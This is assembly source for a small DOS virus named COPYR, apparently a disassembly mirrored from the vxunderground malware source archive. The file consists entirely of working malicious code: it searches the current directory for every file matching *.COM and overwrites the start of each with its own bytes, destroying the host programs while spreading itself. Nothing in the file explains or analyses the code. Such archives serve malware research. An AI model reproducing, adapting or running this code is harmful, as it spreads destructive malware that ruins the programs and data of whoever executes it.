mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-07-03 00:43:34 +00:00
60 lines
1.5 KiB
NASM
60 lines
1.5 KiB
NASM
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PAGE 59,132
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ COPYR ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Created: 1-Jan-80 ÛÛ
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;ÛÛ Version: ÛÛ
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;ÛÛ Passes: 5 Analysis Options on: AFOP ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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data_1e equ 9Eh ; (996E:009E=0)
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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COPYR proc far
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start:
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mov ah,4Eh ; 'N'
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mov cl,20h ; ' '
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mov dx,offset data_3 ; (996E:0128=2Ah)
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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loc_1:
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mov dx,data_1e ; (996E:009E=0)
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mov ax,3D01h
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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mov bx,ax
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mov dx,offset ds:[100h] ; (996E:0100=0B4h)
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mov cl,2Eh ; '.'
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mov ah,40h ; '@'
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jnc loc_1 ; Jump if carry=0
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int 20h ; Program Terminate
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data_3 db 2Ah
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db 2Eh, 43h, 4Fh, 4Dh, 00h
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COPYR endp
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seg_a ends
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end start
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